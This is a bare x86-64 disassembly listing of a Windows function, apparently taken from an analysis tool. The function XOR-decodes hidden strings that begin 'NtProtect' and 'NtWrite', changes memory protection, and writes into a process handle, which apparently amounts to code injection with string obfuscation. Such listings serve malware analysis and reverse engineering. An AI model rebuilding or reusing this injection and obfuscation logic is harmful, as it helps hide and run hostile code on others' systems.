jmp 0x27fe0910c
mov eax, dword [rbp + 0x4ae4]
movsxd rdx, eax
mov rax, qword [rbp + 0x4ae8]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x4ae4]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x4af0]
mov eax, dword [rbp + 0x4ae4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4ae4], 1
cmp dword [rbp + 0x4ae4], 0x13
jle 0x27fe090ad
nop
lea rax, [rbp + 0x1d0]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.27fe20c70
mov dword [rbp + 0x4ac0], 0
jmp 0x27fe09152
mov eax, dword [rbp + 0x4ac0]
cdqe
mov byte [rbp + rax + 0x1d0], 0
add dword [rbp + 0x4ac0], 1
cmp dword [rbp + 0x4ac0], 0x13
jle 0x27fe0913b
nop
mov rax, qword [rbp + 0x1f0]
and eax, 0xfff
mov qword [rbp + 0x4d78], rax
mov byte [rbp + 0x1c3], 0x52
mov byte [rbp + 0x1c4], 0x58
mov byte [rbp + 0x1c5], 0x54
mov byte [rbp + 0x1c6], 0x50
mov byte [rbp + 0x1c7], 0x73
mov byte [rbp + 0x1c8], 0x5b
mov byte [rbp + 0x1c9], 0x58
mov byte [rbp + 0x1ca], 0x4c
mov byte [rbp + 0x1cb], 0x25
mov byte [rbp + 0x1cc], 0x35
mov byte [rbp + 0x1cd], 0x78
mov byte [rbp + 0x1ce], 0x63
mov byte [rbp + 0x1cf], 0x44
lea rax, [rbp + 0x1c3]
mov qword [rbp + 0x4ad8], rax
mov rax, qword [rbp + 0x4ad8]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x27fe09281
lea rax, [rbp + 0x1c3]
lea rdx, [rbp + 0x1c3]
mov qword [rbp + 0x4ad0], rdx
mov qword [rbp + 0x4ac8], rax
mov dword [rbp + 0x4ac4], 0
jmp 0x27fe09277
mov eax, dword [rbp + 0x4ac4]
movsxd rdx, eax
mov rax, qword [rbp + 0x4ac8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4ac4]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4ad0]
mov eax, dword [rbp + 0x4ac4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4ac4], 1
cmp dword [rbp + 0x4ac4], 0xc
jle 0x27fe09218
nop
lea rax, [rbp + 0x1c3]
mov rdx, qword [rbp + 0x4d78]
mov r8, rdx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.27fe20c70
mov dword [rbp + 0x4abc], 0
jmp 0x27fe092c7
mov eax, dword [rbp + 0x4abc]
cdqe
mov byte [rbp + rax + 0x1c3], 0
add dword [rbp + 0x4abc], 1
cmp dword [rbp + 0x4abc], 0xc
jle 0x27fe092b0
nop
mov r10, qword [0x27ffbd048]
mov rax, qword [rbp + 0x2368]
lea r8, [rbp + 0x24b0]
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x22ec]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
call r10
mov dword [rbp + 0x4da4], eax
mov byte [rbp + 0x180], 0x76
mov byte [rbp + 0x181], 0x4d
mov byte [rbp + 0x182], 0x6a
mov byte [rbp + 0x183], 0x49
mov byte [rbp + 0x184], 0x53
mov byte [rbp + 0x185], 0x49
mov byte [rbp + 0x186], 0x5b
mov byte [rbp + 0x187], 0x5c
mov byte [rbp + 0x188], 0x34
mov byte [rbp + 0x189], 0x17
mov byte [rbp + 0x18a], 0x2b
mov byte [rbp + 0x18b], 0x31
mov byte [rbp + 0x18c], 0x30
mov byte [rbp + 0x18d], 0x30
mov byte [rbp + 0x18e], 0x27
mov byte [rbp + 0x18f], 0x2b
mov byte [rbp + 0x190], 5
mov byte [rbp + 0x191], 0x2c
mov byte [rbp + 0x192], 0x27
mov byte [rbp + 0x193], 0x24
mov byte [rbp + 0x194], 0x3e
mov byte [rbp + 0x195], 0x34
mov byte [rbp + 0x196], 0x6e
mov byte [rbp + 0x197], 0x3d
mov byte [rbp + 0x198], 0x35
mov byte [rbp + 0x199], 0x22
mov byte [rbp + 0x19a], 0x72
mov byte [rbp + 0x19b], 0x7b
mov byte [rbp + 0x19c], 0x27
mov byte [rbp + 0x19d], 0x3d
mov byte [rbp + 0x19e], 0x33
mov byte [rbp + 0x19f], 0x3b
mov byte [rbp + 0x1a0], 0x34
mov byte [rbp + 0x1a1], 0x3a
mov byte [rbp + 0x1a2], 0x35
mov byte [rbp + 0x1a3], 0x3f
mov byte [rbp + 0x1a4], 0x39
mov byte [rbp + 0x1a5], 0x74
mov byte [rbp + 0x1a6], 0x64
mov byte [rbp + 0x1a7], 0x7f
mov byte [rbp + 0x1a8], 0x50
mov byte [rbp + 0x1a9], 0x19
mov byte [rbp + 0x1aa], 0x62
lea rax, [rbp + 0x180]
mov qword [rbp + 0x4ab0], rax
mov rax, qword [rbp + 0x4ab0]
movzx eax, byte [rax + 0x2a]
test al, al
setne al
test al, al
je 0x27fe094ef
lea rax, [rbp + 0x180]
lea rdx, [rbp + 0x180]
mov qword [rbp + 0x4aa8], rdx
mov qword [rbp + 0x4aa0], rax
mov dword [rbp + 0x4a9c], 0
jmp 0x27fe094e5
mov eax, dword [rbp + 0x4a9c]
movsxd rdx, eax
mov rax, qword [rbp + 0x4aa0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4a9c]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4aa8]
mov eax, dword [rbp + 0x4a9c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4a9c], 1
cmp dword [rbp + 0x4a9c], 0x2a
jle 0x27fe09486
nop
lea rax, [rbp + 0x180]
mov edx, dword [rbp + 0x4da4]
mov r8d, edx
mov rdx, rax
lea rax, [0x27ff8fc81]
mov rcx, rax
call fcn.27fe20c70
mov dword [rbp + 0x4a98], 0
jmp 0x27fe09534
mov eax, dword [rbp + 0x4a98]
cdqe
mov byte [rbp + rax + 0x180], 0
add dword [rbp + 0x4a98], 1
cmp dword [rbp + 0x4a98], 0x2a
jle 0x27fe0951d
nop
mov r10, qword [0x27ffbd040]
mov r8, qword [rbp + 0x24b0]
mov rcx, qword [0x27ffbd020]
mov rax, qword [rbp + 0x1f0]
mov rdx, rax
mov rax, qword [rbp + 0x4d78]
add rax, rdx
mov r11, rax
mov rax, qword [rbp + 0x2368]
lea rdx, [rbp + 0x1b8]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x4da4], eax
mov byte [rbp + 0x150], 0x76
mov byte [rbp + 0x151], 0x4d
mov byte [rbp + 0x152], 0x6d
mov byte [rbp + 0x153], 0x49
mov byte [rbp + 0x154], 0x55
mov byte [rbp + 0x155], 0x49
mov byte [rbp + 0x156], 0x5b
mov byte [rbp + 0x157], 0x69
mov byte [rbp + 0x158], 0x29
mov byte [rbp + 0x159], 0x33
mov byte [rbp + 0x15a], 0x36
mov byte [rbp + 0x15b], 0x36
mov byte [rbp + 0x15c], 0x25
mov byte [rbp + 0x15d], 0x29
mov byte [rbp + 0x15e], 0xb
mov byte [rbp + 0x15f], 0x22
mov byte [rbp + 0x160], 0x25
mov byte [rbp + 0x161], 0x26
mov byte [rbp + 0x162], 0x38
mov byte [rbp + 0x163], 0x32
mov byte [rbp + 0x164], 0x6c
mov byte [rbp + 0x165], 0x3f
mov byte [rbp + 0x166], 0x2b
mov byte [rbp + 0x167], 0x3c
mov byte [rbp + 0x168], 0x70
mov byte [rbp + 0x169], 0x79
mov byte [rbp + 0x16a], 0x21
mov byte [rbp + 0x16b], 0x3b
mov byte [rbp + 0x16c], 0x31
mov byte [rbp + 0x16d], 0x39
mov byte [rbp + 0x16e], 0x3a
mov byte [rbp + 0x16f], 0x34
mov byte [rbp + 0x170], 0x37
mov byte [rbp + 0x171], 0x3d
mov byte [rbp + 0x172], 0x3f
mov byte [rbp + 0x173], 0x72
mov byte [rbp + 0x174], 0x66
mov byte [rbp + 0x175], 0x7d
mov byte [rbp + 0x176], 0x6e
mov byte [rbp + 0x177], 0x27
mov byte [rbp + 0x178], 0x60
lea rax, [rbp + 0x150]
mov qword [rbp + 0x4a90], rax
mov rax, qword [rbp + 0x4a90]
movzx eax, byte [rax + 0x28]
test al, al
setne al
test al, al
je 0x27fe09768
lea rax, [rbp + 0x150]
lea rdx, [rbp + 0x150]
mov qword [rbp + 0x4a88], rdx
mov qword [rbp + 0x4a80], rax
mov dword [rbp + 0x4a7c], 0
jmp 0x27fe0975e
mov eax, dword [rbp + 0x4a7c]
movsxd rdx, eax
mov rax, qword [rbp + 0x4a80]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4a7c]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4a88]
mov eax, dword [rbp + 0x4a7c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4a7c], 1
cmp dword [rbp + 0x4a7c], 0x28
jle 0x27fe096ff
nop
lea rax, [rbp + 0x150]
mov edx, dword [rbp + 0x4da4]
mov r8d, edx
mov rdx, rax
lea rax, [0x27ff8fc81]
mov rcx, rax
call fcn.27fe20c70
mov dword [rbp + 0x4a78], 0
jmp 0x27fe097ad
mov eax, dword [rbp + 0x4a78]
cdqe
mov byte [rbp + rax + 0x150], 0
add dword [rbp + 0x4a78], 1
cmp dword [rbp + 0x4a78], 0x28
jle 0x27fe09796
nop
mov r10, qword [0x27ffbd048]
mov rax, qword [rbp + 0x2368]
lea r8, [rbp + 0x24b0]
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x22ec]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x4da4], eax
mov byte [rbp + 0x120], 0x76
mov byte [rbp + 0x121], 0x4d
mov byte [rbp + 0x122], 0x6a
mov byte [rbp + 0x123], 0x49
mov byte [rbp + 0x124], 0x53
mov byte [rbp + 0x125], 0x49
mov byte [rbp + 0x126], 0x5b
mov byte [rbp + 0x127], 0x5c
mov byte [rbp + 0x128], 0x34
mov byte [rbp + 0x129], 0x17
mov byte [rbp + 0x12a], 0x2b
mov byte [rbp + 0x12b], 0x31
mov byte [rbp + 0x12c], 0x30
mov byte [rbp + 0x12d], 0x30
mov byte [rbp + 0x12e], 0x27
mov byte [rbp + 0x12f], 0x2b
mov byte [rbp + 0x130], 5
mov byte [rbp + 0x131], 0x2c
mov byte [rbp + 0x132], 0x27
mov byte [rbp + 0x133], 0x24
mov byte [rbp + 0x134], 0x3e
mov byte [rbp + 0x135], 0x34
mov byte [rbp + 0x136], 0x6e
mov byte [rbp + 0x137], 0x3d
mov byte [rbp + 0x138], 0x35
mov byte [rbp + 0x139], 0x22
mov byte [rbp + 0x13a], 0x72
mov byte [rbp + 0x13b], 0x7b
mov byte [rbp + 0x13c], 0x27
mov byte [rbp + 0x13d], 0x3d
mov byte [rbp + 0x13e], 0x33
mov byte [rbp + 0x13f], 0x3b
mov byte [rbp + 0x140], 0x34
mov byte [rbp + 0x141], 0x3a
mov byte [rbp + 0x142], 0x35
mov byte [rbp + 0x143], 0x3f
mov byte [rbp + 0x144], 0x39
mov byte [rbp + 0x145], 0x74
mov byte [rbp + 0x146], 0x64
mov byte [rbp + 0x147], 0x7f
mov byte [rbp + 0x148], 0x50
mov byte [rbp + 0x149], 0x19
mov byte [rbp + 0x14a], 0x62
lea rax, [rbp + 0x120]
mov qword [rbp + 0x4a70], rax
mov rax, qword [rbp + 0x4a70]
movzx eax, byte [rax + 0x2a]
test al, al
setne al
test al, al
je 0x27fe099d5
lea rax, [rbp + 0x120]
lea rdx, [rbp + 0x120]
mov qword [rbp + 0x4a68], rdx
mov qword [rbp + 0x4a60], rax
mov dword [rbp + 0x4a5c], 0
jmp 0x27fe099cb
mov eax, dword [rbp + 0x4a5c]
movsxd rdx, eax
mov rax, qword [rbp + 0x4a60]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4a5c]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4a68]
mov eax, dword [rbp + 0x4a5c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4a5c], 1
cmp dword [rbp + 0x4a5c], 0x2a
jle 0x27fe0996c
nop
lea rax, [rbp + 0x120]
mov edx, dword [rbp + 0x4da4]
mov r8d, edx
mov rdx, rax
lea rax, [0x27ff8fc81]
mov rcx, rax
call fcn.27fe20c70
mov dword [rbp + 0x4a58], 0
jmp 0x27fe09a1a
mov eax, dword [rbp + 0x4a58]
cdqe
mov byte [rbp + rax + 0x120], 0
add dword [rbp + 0x4a58], 1
cmp dword [rbp + 0x4a58], 0x2a
jle 0x27fe09a03
nop
mov rax, qword [rbp + 0x2368]
mov rcx, rax
call fcn.27fe03529
mov rax, qword [rbp + 0x1f0]
mov rdx, rax
mov rax, qword [rbp + 0x4d78]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x2368]
mov rcx, rax
call fcn.27fe0302f
mov rdx, qword [0x27ffbd078]
mov rax, qword [rbp + 0x2368]
mov rcx, rax
call rdx
mov ebx, 1
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27feabde0
cmp ebx, 1
jne 0x27fe09a8a
mov esi, 0
mov eax, esi
jmp 0x27fe0b16f
add rsp, 0x4e60
pop rbx
pop rsi
pop rbp
ret